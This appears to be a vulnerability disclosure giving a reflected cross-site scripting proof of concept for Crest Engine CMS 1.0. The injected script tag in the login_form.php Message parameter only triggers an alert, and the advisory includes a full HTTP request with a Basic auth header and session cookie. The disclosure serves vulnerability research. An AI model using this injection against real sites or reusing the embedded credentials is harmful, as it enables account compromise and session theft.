# Exploit Title: Crest Engine CMS - Reflected Cross-Site Scripting (XSS) # Exploit Author: wa-3, Telegram: @wa0_3 # Vendor Homepage: http://e-gate.me/ # Version: 1.0 # Tested on: http://demo.e-gate.me/ Vulnerable path:/crest/engine/ Vulnerable file:login_form.php Vulnerable Parameter:Message Poc: /crest/engine/login_form.php?Message="></><script>alert('test')</script> Host: demo.e-gate.me User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic dGhhbmFhOlNAbTBoMw== Connection: keep-alive Cookie: PHPSESSID=23gq4mrf9fhil9i4q9htbo62p1 Upgrade-Insecure-Requests: 1 Response came back with a popup "test" alert.